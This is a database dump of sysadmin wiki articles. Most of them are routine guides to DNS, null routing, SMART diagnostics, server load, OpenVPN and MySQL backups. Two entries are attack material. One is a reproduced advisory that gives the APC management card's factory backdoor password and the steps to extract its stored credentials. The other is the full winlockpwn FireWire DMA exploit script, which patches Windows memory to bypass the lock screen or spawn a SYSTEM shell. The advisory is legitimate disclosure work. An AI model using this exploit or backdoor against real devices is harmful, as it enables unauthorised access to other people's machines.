longer be listed as pending in the smart attributes it should now show as reallocated '),(64,'open dns server',' closing open dns servers tutorial closing open dns servers tutorial closing open dns servers tutorial by felipe at sago networks 1 login to your server and su to root 2 edit the etc named conf file such as # vi etc named conf look for key rndckey ; after this add the following replacing mainip and secondaryip with your systems nameservers acl trusted mainip;secondaryip;127 0 0 1; ; 3 after thatu8e28099s done you want to add the section that says only the trusted is allowed for certain functions check your options area and make sure you add the following allow-recursion trusted; ; allow-notify trusted; ; allow-transfer trusted; ; so the final result looks something like options directory var named ; allow-recursion trusted; ; allow-notify trusted; ; allow-transfer trusted; ; dump-file var named data cache_dump db ; statistics-file var named data named_stats txt ; if there is a firewall between you and nameservers you want to talk to you might need to uncomment the query-source directive below previous versions of bind always asked questions using port 53 but bind 8 1 uses an unprivileged port by default query-source address port 53; ; 4 save the changes and restart the named service service named restart 5 recheck your site at dnsreport com you should be good '),(65,'understanding null routing',' what null-routing actually does authored by kyle anderson a colleague at sago networks added here as this is a great reference null routing is not magic null-routing is the act of adding a static route to our ar01 router to redirect traffic destined for a particular ip to ar01 ar01\'s null-route interface 65 110 32 73 this is what the null route command looks like when run on ar01 ip route sample ip 255 255 255 255 null0 tag 7777 what this means is route all traffic destined for this ip to the null0 interface and tag this particular route with 7777 tagging is just a way of marking certain routes for certain processes what happens next what happens next what happens next ar01 tpa sagonet net shares its routes with the core0 and other routers so everyone is doing the same thing now all traffic destined for whatever ip your nulled will be sent to ar01 ar01\'s interface that is why when you mtr to a nullrouted ip you get nullrouted tpa sagonet net as the last hop press n on mtr to get ips instead of names and you will see 65 110 32 73 the ip address of one of ar01 ar01\'s interfaces null routing is not magic null routing is not magic null routing is not magic now what happens when an outside ip is offending our network lets say its pinging a server 1000 times a second null route it will this stop the pings no surprised you may have thought to yourself why is this ip still pinging my server i null-routed it but routing is altering the route path for an ip and only affecting packets destined for that ip the echo request ping will hit your server but the reply will get sent to ar01 because the reply is destined for your null-routed ip don\'t believe me great i love a skeptic run this on a your server that you don\'t mind null-routing not a corporate one actually you will need two servers one on the outside of our network one on the inside i will use sheldon as an example but you guys have to use a different one maybe one in the employee rack on the outside ping sheldon sagonet com on the inside sheldon tcpdump -n -t icmp this is a tcpdump to just show pings now null-route your outside ip you will of course lose your ssh connection but the ping command will still be running till the ssh session times out you will see the pings are still hitting sheldon ah of course they are but replies are being sent to ar01 because that is the route for that outside ip what null-routing does and doesn\'t do what null-routing does and doesn\'t do what null-routing does and doesn\'t do does prevent any tcp handshaking which will stop ssh brute force normal http requests and such the server will receive the syn packets but the ack packets will never reach the outside world assuming you are null-routing a foreign ip does not stop ping floods syn flood dos attacks udp dos attacks null-routing the destination instead of the source null-routing the destination instead of the source null-routing the destination instead of the source this is a 100 fool-proof way of stopping a dos it also makes that ip unavailable to everyone else of course if sheldon is being dos\'d and we null sheldon we will not be able to ssh to it but kyle arn\'t our routes push out to our peers too but kyle arn\'t our routes push out to our peers too but kyle arn\'t our routes push out to our peers too yes but that doesn\'t affect anything on this page everything still applies foreign ip routes are not pushed out to our peers the only difference it makes is in situations where we null route one of our ip ip\'s when this happens the packets stop at our peer peer\'s null interface instead of ar01 tagging tagging tagging what do those tags mean 7777 tech center or null-route commander 8888 ids system 9999 manual usually dan '),(66,'apc backdoor',' list bugtraq subject apc 9606 smartslot web snmp management card backdoor from dave tarbatt date 2004-02-16 11 24 32 message-id 1076930672 19026 88 camel localhost localdomain download message raw apc_9606_backdoor txt apc_9606_backdoor txt background apc american power conversion smartswitch and ups uninterruptible power supply products have a web and snmp management card installed that permits local serial console telnet web and snmp management monitoring and mains power control of attached devices the problem apc smartslot web snmp management cards have a backdoor password that can be abused to extract plain text username password details for all accounts and hence gain unauthorised full control of the device tested vulnerable smartups 3000rm with ap9606 aos v3 2 1 and smartups app v3 2 6 masterswitch ap9212 with ap9606 aos v3 0 3 and masterswitch app v2 2 0 description the backdoor password is designed for use by the factory for initial configuration of the card e g mac address serial number etc however it is possible to dump the contents of eeprom which amongst other things stores the account usernames and passwords the backdoor password is accepted via either the local serial port or telnet use of the password on the web interface does not appear to be possible to recreate typical example connect a console to the serial port or telnet to the card at the username prompt use any username the password is all alphabetic characters and is case sensitive tenmanufactorypower at the selection prompt type 13 and press return type the byte address of the eeprom location to view e g 1d0 and press return look carefully for the username and password pairs different firmware revisions may have the account details at different eeprom locations the accounts in the example below are the default accounts after their passwords have been changed username apc password bbccddeef username device password aaaabbbbb press return to get back to the factory menu and press ctrl-a to logout you can now telnet to the card again and use the account details you\'ve just recovered to log into and control the device you should use the other selections with extreme care you may cause irrepairable damage and will most certainly invalidate any warranty the eeprom also contains other user-configurable options in either plain text or binary encoded form they are not detailed in this advisory example root always root # telnet 192 168 1 1 trying 192 168 1 1 connected to 192 168 1 1 escape character is \' \' user name phade password tenmanufactorypower factory menu to exit 1ap9606 2wa0044004472 3g9 410 25 2000 500 c0 b7 a2 c8 2d 6v3 2 1 7a 8a 9192 168 1 1 a255 255 255 0 b192 168 1 254 c d e f g selection 13 enter byte address in hex xxxx 1d0 01d0 ff 50 46 61 70 63 00 ff pfapc 01d8 ff ff ff ff ff ff 42 42 bb --- username 01e0 43 43 44 44 45 45 46 00 ccddeef 01e8 ff 64 65 76 69 63 65 00 device 01f0 ff ff ff ff 41 41 41 41 aaaa --- password 01f8 42 42 42 42 42 00 ff 61 bbbbb a 0200 64 6d 69 6e 20 75 73 65 dmin use 0208 72 20 70 68 72 61 73 65 r phrase 0210 00 ff ff ff ff ff ff ff 0218 ff ff ff ff ff ff ff ff 0220 64 65 76 69 63 65 20 75 device u 0228 73 65 72 20 70 68 72 61 ser phra 0230 73 65 00 ff ff ff ff ff se 0238 ff ff ff ff ff ff ff ff 0240 ff 00 00 ff ff ff ff 21 0248 56 00 00 00 00 00 00 55 v u nxt b-bck p-pch other-exit workaround fix ensure that access to the local serial port is physically restricted and disable the telnet interface as described in the device documentation a patched version of the firmware which requires the management password to be entered before accessing the factory settings may be available from apc vendor status apc were first notified six months ago on 12th august 2003 and were initially helpful in patching the problem however after testing a couple of beta fixes i\'ve heard nothing for over 3 months dave tarbatt '),(67,'firewire password hack',' firewire dma exploit too funny - break into a windows box using a fire wire cable and a linux box here is the guys blog and attached you will find the python script downloaded from the blog script author adam boileau python script python script python script # usr bin python # windows locked screen remote firewire unlockor # metlstorm 2k6 # uh private use only not for public distro kthx import sys import firewire import binascii import time ver 1 5 verstr winlockpwn v s metlstorm 2k6 ver # targets are dicts with some properties and one or more phases # each phase specifies a signature which can be found at one or more # page offsets when a signature is found the patch is applied at patchoffset # bytes from the beginning of the signature targets name winxp sp2 fast user switching unlock notes when run against a locked xpsp2 box with fus on it will cause all passwords to succeed you\'ll still get the password-is-wrong dialog but then you\'ll get logged in anyway phase sig 8bd8f7db1adbfec3 pageoffset 2905 patch bb01000000eb0990 patchoffset 0 name winxp sp2 unlock notes when run against a locked xpsp2 box with regular non-fast-user-switching it will cause all passwords to succeed you\'ll still get the password-is-wrong dialog but then you\'ll get logged in anyway phase sig 0502000010 pageoffset 3696 patch b801000000 patchoffset 0 name winxp sp2 msv1_0 dll technique notes patches the call which decides if an account requires password authentication this will cause all accounts to no longer require a password which covers logging in locking and probably network authentication too this is the best allround xpsp2 technique phase sig 8bff558bec83ec50a1 pageoffset 0x927 patch b001 patchoffset 0xa5 name winxp sp2 utilman cmd spawn notes at the winlogon winstation locked or prelogin will spawn a system cmd shell start util manager with win-u and make sure all the disability-tools are stopped narrator starts by default then run this wait till it it\'s patched a couple of data-phase things then start narrator enjoy a shell you can use this with the msv1_0 dll technique as well and log in any time you want to get back to your shell just lock the desktop and you\'ll go back to the winlogon winstation where your shell will be waiting phase name patch code sig 535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb pageoffset 0x39f patch 565383c310899de8faffffff158810185b898540fbffff9090909090 patchoffset 0x0 name patch data sig 2f0055004d000000d420185b0539185b0000000053006f006600740077006100 pageoffset 0x9ac 0x5ac 0x3ac patch 63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000 patchoffset 0x0 keepgoing true start 0x8000000l end 0xffffffffl chunk 4096 print verstr def printtargets targets i 1 print available targets for t in targets print 2d s i t name i 1 print ntarget notes n for t in targets print s n--------------- n s n t name t notes def usage print usage winlockpwn port node target start-end print - port and node are the firewire port and node numbers use businfo to identify your targets port and node numbers print - target should be one of the numbered targets listed below print - you can optionally supply a start-end memory range to search for signatures in useful if you\'re restarting or want to limit the upper end of memory which will otherwise walk up to 4gb without stopping this understands anything sensible; eg 0-100m 0xffff-0x1ffff 1m- 200k-1gb -0xffff print remember that you\'ll need to use csr trickery with romtool to talk dma to windows n printtargets targets sys exit 1 if len sys argv 4 usage try port int sys argv 1 node int sys argv 2 targetno int sys argv 3 if len sys argv 4 start end firewire parserange sys argv 4 if end none end 0xffffffffl except valueerror usage if targetno 1 or targetno len targets usage target targets targetno -1 print target selection print name s target name print notes s target notes for p in target phase if p has_key name print phase s p name print pattern 0x s p sig print offset s p pageoffset print patch 0x s p patch print offset d p patchoffset print scanning options print start 0x x start print stop 0x x end print pagesz d chunk for so in p pageoffset if len p sig so chunk print uh oh signature crosses page boundary this isn\'t supported sys exit 1 if so p patchoffset chunk print uh oh patch offset crosses page boundary this isn\'t supported sys exix 1 print init firwire port d node d port node h firewire host n h port node print snarfin\' memories sys stdout flush dumppage false won false startt time time last 0 for p in target phase try print phase s p name except keyerror pass signatureoffset p pageoffset eviloffset p patchoffset payload binascii unhexlify p patch pattern binascii unhexlify p sig eviladdr none for offset in range start end chunk now time time if now last 1 last now print rchecking for signature on page at 0x 08x dkb at d kb s offset offset 1024 offset - start now - startt 1024 sys stdout flush for so in signatureoffset mem n read offset so len pattern if mem pattern print found signature at 0x 08x offset so eviladdr offset so p patchoffset if dumppage fo open winlockpwn dumppage 0x 08x offset w fo write n read offset chunk fo close break if eviladdr none won true print setting up teh bomb n write eviladdr payload print donezor verify n read eviladdr len payload print verified evil 0x s binascii hexlify verify if dumppage fo open winlockpwn dumppage 0x 08x patched offset w fo write n read offset chunk fo close if p has_key keepgoing and p keepgoing eviladdr none else break if won print you may proceed with your nefarious plans else print noh noes you didn\'t win endt time time print elapsed time d seconds endt - startt '),(68,'handy linux commands',' great shell tools & commands to run a command every few seconds and observe the resutls #watch -n2 w runs w command every 2 seconds good command reference links good command reference links good command reference links how to use the find command like a pro '),(70,'cpanel smart errors',' cpanel smart errors cpanel is not terribly intelligent about interpreting smart errors or how it runs the smart monitoring or analysis scripts as a result is is pretty common to receive cpanel smart alerts which are bogus however - that does not mean that all such cpanel smart messages are false and it certainly doe not mean smart errors in general should be ignored far from it this article is aimed and clarifying erroneous cpanel smart warnings for far more information on smart in general see the full article on smart drive diagnostics here is an all too typical example of a false cpanel smart warning s m a r t errors on dev sdb from command usr sbin smartctl -q errorsonly -h -l selftest -l error dev sdb please note the following marginal attributes id# attribute_name flag value worst thresh type updated when_failed raw_value 190 unknown_attribute 0x0022 065 040 045 old_age always in_the_past 35 ----end dev sdb-- now here is why this is false and how you can tell 1 the message reports the script being run is usr sbin smartctl -q errorsonly -h -l selftest -l error dev sdb if you have sata drives this will just not work the smartctl script requires the additional -d ata argument so this script is likely going to fail 2 look closely at the attribute being reported 190 unknown_attribute this is not a critical drive attribute though it may have recorded an error it does not mean there is a critical drive issue 3 now this is very important even if the script does run correctly and even if it reports true errors it does not differentiate between and error that happened today or one from 3 years ago this script just shows all errors ever recorded not particularly useful you can run the above script in the shell modify the arguments as needed and see what it really reports and play around with this and see here is an example of the script running correctly and the output produced callandor # usr sbin smartctl -q errorsonly -h -l selftest -l error dev sdb warning ata error count 1338 inconsistent with error log pointer 5 ata error count 1338 device log contains only the most recent five errors error 1338 occurred at disk power-on lifetime 0 hours 0 days 0 hours error 1337 occurred at disk power-on lifetime 8076 hours 336 days 12 hours error 1336 occurred at disk power-on lifetime 8053 hours 335 days 13 hours error 1335 occurred at disk power-on lifetime 7562 hours 315 days 2 hours error 1334 occurred at disk power-on lifetime 7360 hours 306 days 16 hours in this case the error reported is not a numbered smart attribute from the list of monitored attributes but rather the ata error count that is because on this drive there are no errors reported in those attributes thus only the ata error count is shown note it also gives the hours of when these occurred so how long ago was that does it matter good question to determine this examine the power_on_hours attribute or you can run the short test and then examine the results see scripts below and the full article on smart drive diagnostics you might also get output showing the total number of reallocated sectors or pending sectors these are definitely worth investigating further note all these examples are significantly different from the first cpanel output example take a look at that one again - it should be clear now that it in fact means nothing really actually useful smart commands actually useful smart commands actually useful smart commands okay - so the cpanel script is not very helpful but you can certainly use these commands for predict and analyze real drive issues smartctl -a dev hda smartctl -a -d ata dev sda ---- for sata drives smartctl -t short dev sdb this runs a short test on the drive you then view the results with the above commands note you can even just schedule these to run as a cron job and pipe the output to mail you youremail com to automate this there are also various scripts you can customize for smartd and smartctl these scripts are usually in there are example scripts included with smartmontools these are usually located in a location like usr share doc smartmontools-5 33 examplescripts usr local etc smartd conf settings for smartd which controls monitoring see the readme for more information there are many other scripts you can find on line people have developed to run as cron jobs etc and watch attributes sending notification when criteria are met etc make it stop make it stop make it stop to disable these cpanel messages #touch var cpanel disablesmartcheck however be aware that you absolutely should manually check the smart status of your drive and interpret the results on a regular basis smart is quite useful and just might save the day for you but it must be properly used to be effective '),(71,'high server loads and you',' my server load is high is your sever running so slow it takes 10 minutes for a site to come up does logging into ssh take so long that your hair noticeably grows in the process have you received warning messages from cpanel or other monitoring scripts saying there is a high load don\'t panic there is a way to true enlightenment why oh why is the load so high why oh why is the load so high why oh why is the load so high okay - you need data useful data then you can figure out what is going on while there is no cookie-cutter template of actions that will solve all high load issues here is a general approach to take first - you need to collect information this will allow you zero in on the root cause of the issue work from the top down narrowing in as you go you will find the reasons or at least get very close if you are persistent you will find the reason take it as an opportunity to learn more about your server and how it works this will come in very handy in the future research steps research steps research steps you might want to take the following actions 1 log into your sago customer portal site examine the bandwidth graph for the affected server is there extremely high inbound and outbound traffic very high inbound traffic in particular can indicate you are under a dos attack if this is the case you can narrow your search in this direction 2 if bandwidth usage looks okay but load is still extremely high try logging in and running top and look for what processes are consuming the most cpu resource are apache or mysql or php running processes listed as using all the resources if so you can narrow the search in that direction there are all manner of shell commands to assist you but the most basic are archimedes anduril w 14 35 47 up 3 days 4 52 1 user load average 0 05 0 15 0 16 user tty from login idle jcpu pcpu what shows the 1 5 and 15 minute load average you can monitor this with archimedes anduril watch -n 1 w run this is a separate shell session or in a screen session these figures are your indicators of if you are affecting anything also you can use the ps and netstat shell commands - they are great load average note what the heck are these numbers well here is the uber simple answer you want the number to be equal to or less than 1 0 for each processor so a load of 4 on a dual p4d system is utterly fine and it has 4 cpu cores a single core cpu server would ideally have a load average of about 1 or less however all that means is that the cpu has enough active processes on it with demand enough to keep it essentially busy a server can still run fine with a load of 5 but if you see load averages of 10 15 35 etc you have a problem read on 3 if you know or suspect apache mysql or other services to be the culprit stop them individually and wait at least a few minutes to see if this affects the load average - if it goes down then that was it congratulations now if you just never start them again you will be fine just kidding if you isolate the offending process you can then isolate the users actions running it and then modify permissions block that ip etc to address the issue you stop them with commands like root tardis # service httpd stop stopping httpd ok root tardis # service mysql stop mysql unrecognized service root tardis # service mysqld stop stopping mysql ok you restart them oddly by specifying start rather then stop and the option status will - well you get it mysql note sometimes load is caused by tons of mysql activity one way to investigate this is to run the mysql client in the shell callandor # mysql welcome to the mysql monitor commands end with ; or g your mysql connection id is 2 server version 5 0 45 suse mysql rpm type \'help;\' or \' h\' for help type \' c\' to clear the buffer mysql show processlist; ---- ------ ----------- ------ --------- ------ ------- ------------------ id user host db command time state info ---- ------ ----------- ------ --------- ------ ------- ------------------ 2 root localhost null query 0 null show processlist ---- ------ ----------- ------ --------- ------ ------- ------------------ 1 row in set 0 00 sec mysql quit bye that shows mysql is so bored and lonely it is practically pining away if you get 63 pages of results well - you have perhaps stuck an auspicious line of research to help ferret out mysql activity you can also try mytop which is like the top shell command for mysql - very nice see mytop - sql monitor for a quick and easy usually install of this php php suexec processes in top or ps will show as being run by the webserver user apache nobody etc rather than the actual user running them this makes it hard to tell what user is running what the answer is suexec and if you have cpanel you can simply recompile apache and php to include this option now you can identify the offending user account and zero in from there 4 look at your logs yes everyone always tells you that right well remember on a linux server just about everything is logged unauthorized access attempts to you server feeling cranky - it all gets logged the problem of course - where i feel your pain i do but wait hope is not yet lost there is this amazingly nifty tool that let you basically google your logs yep tight it it\'s called splunk and you can read all about it here splunk log analyzer it will give you a time line view off all your primary logs you can zoom in and out on the time line and search for data in all the logs you set up to monitor installing this is actually very easy and will be a great tool at your disposal 5 okay - you have seen splunk shows when you had the most log entries going on and give you a lot - oh my god a friggen lot - of data but i thought we were talking about high server loads man you are sharp thought i could be a bit dodgy but i guess not how do you relate when server loads are high to this log activity time for another tool you need system performance and reporting information how about a beautiful graph that shows you cpu usage memory and swap usage and all kinds of yummy performance info displayed in aesthetically pleasing graphs this is easy see the article on system reporting - sar & ksar it it\'s easy - i mean seriously easy to use sar and the graphical java tool ksar that will create these type of server performance graphs server warrior server warrior server warrior now you are armed now you have information and powerful weapons to wield now you know the tao of server load analyses now just put it all together using shell commands like top and ps you can examine currently running processes by shutting down services when load is actively high you can see what service is responsible for the load by analyzing log files with splunk you can see exactly what was going on at that time if the load is intermittent and you keep missing it by the time you get on to troubleshoot you can pull a report with ksar and see a graph for any day and easily see when the load was high then zero in on the log time line view in splunk to see what was occurring additional resources additional resources additional resources why is my server slow '),(72,'openvpn server',' installing setting up openvpn using a shared static key between two computers is extremely easy it can literally be done in a few minutes the instructions for doing so can be found at the one draw back to this is that this is only for connecting two computers if you want to connect several clients to the server you will need to make keys for them all and create a certificate authority etc openvpn is very well supported and is widely used thus you will likely find it in your distro distro\'s repository installing should be as simple as yum install openvpn provision openvpn depends on a kernel space module to create the vpn tunneling device check to see if you have it by running lsmod in the shell look for an entry called tun for tunnel if you don\'t have the kernel module you will likely need to compile it an article showing how i did this for my coblat xtr see sun_cobalt_xtr_server the procedure will likely be extremely similar on your distro once you have the kernel sources configuring static key configuring static key configuring static key try this method first and get it working then if needed use the certificate authority method below the static key mini how-to link above is very good and show exactly what to put in the client and server config files they are only a few lines you might want to copy the usr share openvpn to etc both for convenience and to preserve the original all my examples and staticly set paths in my config files assume this you will need to make the static key on the server then scp it to the client making the key is as easy as openvpn --genkey --secret static key to quickly move it to the other server scp -p 22 static key root otherserver ip address etc openvpn keys 22 is the ssh port and this again assumes you have copied the openvpn directory to etc once you have them on the respective system just start openvpn specifying the appropriate config file root tardis openvpn # openvpn client-static-openvpn conf & starts the service on the client system the config file i used looks like root tardis openvpn # cat client-static-openvpn conf remote server ip address here dev tun ifconfig 10 8 0 2 10 8 0 1 secret etc openvpn keys server-home-static key #just use the full path to the key you made on the server start openvpn on the server using the same process my server config was as simple as callandor etc openvpn # cat server-static conf dev tun ifconfig 10 8 0 1 10 8 0 2 secret etc openvpn keys server-home-static key skip ahead to the testing section configure certificate authority configure certificate authority configure certificate authority this was more tricky read the install documentation carefully you might want to copy the usr share openvpn to etc both for convenience and to preserve the original note i am in the 2 0 directory - there are var and clean-all scripts both here and in the directory above it yep i believe you have to make the keys directory callandor etc openvpn easy-rsa 2 0 # source vars note if you run clean-all i will be doing a rm -rf on etc openvpn easy-rsa 2 0 keys callandor etc openvpn easy-rsa 2 0 # clean-all callandor etc openvpn easy-rsa 2 0 # build-ca generating a 1024 bit rsa private key writing new private key to \'ca key\' ----- you are about to be asked to enter information that will be incorporated into your certificate request what you are about to enter is what is called a distinguished name or a dn there are quite a few fields but you can leave some blank for some fields there will be a default value if you enter \' \' the field will be left blank ----- country name 2 letter code us if you run into this callandor etc openvpn easy-rsa # clean-all you must define key_dir it means you did not actually source the vars file see the first command again once the above is complete you will have a set of files made in the keys directory see above link for full details - essentially create keys for the server itself and then the client systems you then move these files to the client ca crt client1 crt client1 csr client1 key you of course also need to configure a config file for both server and client templates for each can be found at usr share doc openvpn-2 0 9 sample-config-files client conf they are well annotated and you just specify the path to the key files on each note the server assigns the ip from a dhcp like pool thus no source and destination ips for the vpn are needed in the client config - only the public ip of the server configuration files configuration files configuration files lots of good template configs and helper scripts can be found in # ls usr share doc packages openvpn sample-config-files client conf loopback-client openvpn-shutdown sh server conf tls-home conf xinetd-server-config firewall sh loopback-server openvpn-startup sh static-home conf tls-office conf home up office up readme static-office conf xinetd-client-config testing the vpn testing the vpn testing the vpn once openvpn starts on the client and server systems you will see a new network interface most likely named tun0 ifconfig will show something like tun0 link encap unspec hwaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr 10 8 0 1 p-t-p 10 8 0 2 mask 255 255 255 255 up pointopoint running noarp multicast mtu 1500 metric 1 rx packets 53435 errors 0 dropped 0 overruns 0 frame 0 tx packets 41233 errors 0 dropped 0 overruns 0 carrier 0 collisions 0 txqueuelen 100 rx bytes 61506023 58 6 mb tx bytes 27318342 26 0 mb now just try to ping from one to the other - ping 10 8 0 2 from the server and you should get a reply speed test speed test speed test nttcp is a great tool to test network speeds with so you can see what kind of performance you are getting on the vpn if nttcp is not in your repos you can find the source for it or find an rpm pretty easily a red hat centos one is at www timelordz com nttcp i386 rpm you run it on both system run it with -i on the listening system then on the other run root tardis openvpn # nttcp -t -t 10 8 0 1 bytes real s cpu s real-mbit s cpu-mbit s calls real-c s cpu-c s l 8388608 10 44 0 07 6 4309 932 0158 2048 196 25 28442 9 1 8388608 10 47 0 08 6 4091 882 9533 6201 592 21 81586 7 root tardis openvpn # nttcp -t -r 10 8 0 1 bytes real s cpu s real-mbit s cpu-mbit s calls real-c s cpu-c s l 8388608 144 56 0 15 0 4642 441 4824 6175 42 72 40622 9 1 8388608 140 91 0 02 0 4762 3355 2754 2048 14 53 102394 9 the first example with -t is the transmit test to the listening end the second example runs with the -r argument which r ecieves data from the listening end this test was run from the client to the server the -t transmit speeds were about 6 4 mbit a second however the server running on a home system over a cable connection pushed back at only 46 mbit a second '),(73,'mysql database backup script',' backing up mysql there are several ways to back up your mysql databases one important thing to keep in mind however is you do not want to simply copy the files from your mysql directory without first shutting down mysql otherwise data corruption will result one option is a script that will shut down mysql and then copy the files this will work but a better approach is to use the nifty script automysqlbackup sh 2 5 available from # mysql backup script # ver 2 5 - # copyright c 2002-2003 wipe_out lycos co uk this will lock the tables so data corruption does not result and also includes backup rotations it will not require shutting down mysql completely as it will exclusively lock each table in turn - thus others remain accessible and the server can still be up with other databases accessible during the process please note it is very unwise to backup your databases to the same physical hard drive always move them to a mountpoint that is on another drive or better to another server in another facility all together as a suggestion set the backup directory to backups which is on a secondary drive in your server then set a cron job to scp the directory that automysqlback uses to transfer it off to the remote server on-line backup space etc or be fancy and mount a filesystem on a remote server using nfs or sshfs so it appears as local and have the backups then stored remotely with an additional transfer step needed get as fancy as you want but realize each new layer adds dependencies that can break configuring and using configuring and using configuring and using there are only a very few things you need to edit in automysqlbackup sh first make sure the file is executable chmod 744 automysqlbackup sh will make it so next edit the file to set your preference detailed instructions for the options are included in the script itself note make sure the directory you point backupdir to is both mounted and accessible to the user running the script - can you as this user access and create files in that directory to check just go there and do a touch test to make a blank file and verify read write permissions are correct note you do not need to make the script stop mysql or otherwise stop it first in fact the script depends on mysql running this may be different that other methods and scripts you have used to backup mysql before once the script is configured you can just run it and verify it works # automysqlbackup sh 2 5 it will display the results of the backup and give a good summary how do i automate it hdiai two ways simple move the automysqlbackup sh script to etc cron daily or set up a crontab job to run and the specified times etc moving it to etc cron daily is very easy using crontab gives a bit more control but honestly for this script it is not really needed moving it to etc cron daily will run it as root of course you can set it up to run under a specific user and put it in that users crontab - make sure this user has mysql select permissions minimum verifying backups and restoring verifying backups and restoring verifying backups and restoring never - i do mean ever - assume any automated backup process will cover your ass for you you must always verify that the backups are actually being made appear to be sensible sizes not empty and are not corrupt set the email notification option and examine the emails look at the directories yourself too and once in a while do a test restore to make sure it really works restore the script lists the mysql commands needed to restore a database from a backup section restoring however be aware you may overwrite the existing one in the process best to either make a new backup of it first or just restore onto another server and verify import is okay a wonderfull tool for importing exporting mysql databases is of course phpmyadmin - i highly recommend this as a management tool however it does not do full automated and scheduled backups with backup rotation - hence this script note the backups you have made are likely gz files so you will need to unzip them first before trying to restore them using mysql or phpmyadmin gunzip backupname tar the actual script the actual script the actual script get it right here or from # bin bash # # mysql backup script # ver 2 5 - # copyright c 2002-2003 wipe_out lycos co uk # # this program is free software; you can redistribute it and or modify # it under the terms of the gnu general public license as published by # the free software foundation; either version 2 of the license or # at your option any later version # # this program is distributed in the hope that it will be useful # but without any warranty; without even the implied warranty of # merchantability or fitness for a particular purpose see the # gnu general public license for more details # # you should have received a copy of the gnu general public license # along with this program; if not write to the free software # foundation inc 59 temple place suite 330 boston ma 02111-1307 usa # # # # set the following variables to your system needs # detailed instructions below variables # # username to access the mysql server e g dbuser username dbuser # username to access the mysql server e g password password password # host name or ip address of mysql server e g localhost dbhost localhost # list of dbnames for daily weekly backup e g db1 db2 db3 dbnames db1 db2 db3 # backup directory location e g backups backupdir backups # mail setup # what would you like to be mailed to you # - log send only log file # - files send log file and sql files as attachments see docs # - stdout will simply output the log to the screen if run manually # - quiet only send logs if an error occurs to the mailaddr mailcontent stdout # set the maximum allowed email size in k 4000 approx 5mb email see docs maxattsize 4000 # email address to send mail to user domain com mailaddr user domain com # # advanced options read the doc doc\'s below for details # # list of dbbnames for monthly backups mdbnames mysql dbnames # list of dbnames to exlucde if dbnames are set to all must be in quotes dbexclude # include create database in backup create_database yes # separate backup directory and file for each db yes or no sepdir yes # which day do you want weekly backups 1 to 7 where 1 is monday doweekly 6 # choose compression type gzip or bzip2 comp gzip # compress communications between backup server and mysql server commcomp no # additionally keep a copy of the most recent backup in a seperate directory latest no # the maximum size of the buffer for client server communication e g 16mb maximum is 1gb max_allowed_packet # for connections to localhost sometimes the unix socket file must be specified socket # command to run before backups uncomment to use #prebackup etc mysql-backup-pre # command run after backups uncomment to use #postbackup etc mysql-backup-post # # options documantation # # set username and password of a user that has at least select permission # to all databases # # set the dbhost option to the server you wish to backup leave the # default to backup this server to backup multiple servers make # copies of this file and set the options for that server # # put in the list of dbnames databases to be backed up if you would like # to backup all dbs on the server set dbnames all if set to all then # any new dbs will automatically be backed up without needing to modify # this backup script when a new db is created # # if the db you want to backup has a space in the name replace the space # with a e g data base will become data base # note spaces in db names may not work correctly when sepdir no # # you can change the backup storage location from backups to anything # you like by using the backupdir setting # # the mailcontent and mailaddr options and pretty self explanitory use # these to have the backup log mailed to you at any email address or multiple # email addresses in a space seperated list # if you set mail content to log you will require access to the mail program # on your server if you set this to files you will have to have mutt installed # on your server if you set it to stdout it will log to the screen if run from # the console or to the cron job owner if run through cron if you set it to quiet # logs will only be mailed if there are errors reported # # maxattsize sets the largest allowed email attachments total all backup files you # want the script to send this is the size before it is encoded to be sent as an email # so if your mail server will allow a maximum mail size of 5mb i would suggest setting # maxattsize to be 25 smaller than that so a setting of 4000 would probably be fine # # finally copy automysqlbackup sh to anywhere on your server and make sure # to set executable permission you can also copy the script to # etc cron daily to have it execute automatically every night or simply # place a symlink in etc cron daily to the file if you wish to keep it # somwhere else # note on debian copy the file with no extention for it to be run # by cron e g just name the file automysqlbackup # # thats it # # # advanced options doc doc\'s # # the list of mdbnames is the db db\'s to be backed up only monthly you should # always include mysql in this list to backup your user password # information along with any other dbs that you only feel need to # be backed up monthly if using a hosted server then you should # probably remove mysql as your provider will be backing this up # note if dbnames all then mdbnames has no effect as all dbs will be backed # up anyway # # if you set dbnames all you can configure the option dbexclude other # wise this option will not be used # this option can be used if you want to backup all dbs but you want # exclude some of them eg a db is to big # # set create_database to yes the default if you want your sql-dump to create # a database with the same name as the original database when restoring # saying no here will allow your to specify the database name you want to # restore your dump into making a copy of the database by using the dump # created with automysqlbackup # note not used if sepdir no # # the sepdir option allows you to choose to have all dbs backed up to # a single file fast restore of entire server in case of crash or to # seperate directories for each db each db can be restored seperately # in case of single db corruption or loss # # to set the day of the week that you would like the weekly backup to happen # set the doweekly setting this can be a value from 1 to 7 where 1 is monday # the default is 6 which means that weekly backups are done on a saturday # # comp is used to choose the copmression used options are gzip or bzip2 # bzip2 will produce slightly smaller files but is more processor intensive so # may take longer to complete # # commcomp is used to enable or diable mysql client to server compression so # it is useful to save bandwidth when backing up a remote mysql server over # the network # # latest is to store an additional copy of the latest backup to a standard # location so it can be downloaded bt thrid party scripts # # if the db db\'s being backed up make use of large blob fields then you may need # to increase the max_allowed_packet setting for example 16mb # # when connecting to localhost as the db server dbhost localhost sometimes # the system can have issues locating the socket file this can now be set # using the socket parameter an example may be socket private tmp mysql sock # # use prebackup and postbackup to specify per and post backup commands # or scripts to perform tasks either before or after the backup process # # # # backup rotation # # # daily backups are rotated weekly # weekly backups are run by default on saturday morning when # cron daily scripts are run can be changed with doweekly setting # weekly backups are rotated on a 5 week cycle # monthly backups are run on the 1st of the month # monthly backups are not rotated automatically # it may be a good idea to copy monthly backups offline or to another # server # # # please note # # # i take no resposibility for any data loss or corruption when using # this script # this script will not help in the event of a hard drive crash if a # copy of the backup has not be stored offline or on another pc # you should copy your backups offline regularly for best protection # # happy backing up # # # restoring # # firstly you will need to uncompress the backup file # eg # gunzip file gz or bunzip2 file bz2 # # next you will need to use the mysql client to restore the db from the # sql file # eg # mysql --user username --pass password --host dbserver database path file sql # or # mysql --user username --pass password --host dbserver -e source path file sql database # # note make sure you use and not in the above command because # you are piping the file sql to mysql and not the other way around # # lets hope you never have to use this # # # change log # # # ver 2 5 - 2006-01-15 # added support for setting maximum_packet_size and socket parameters suggested by yvo van doorn # ver 2 4 - 2006-01-23 # fixed bug where weekly backups were not being rotated fix by wolf02 # added hour an min to backup filename for the case where backups are taken multiple # times in a day 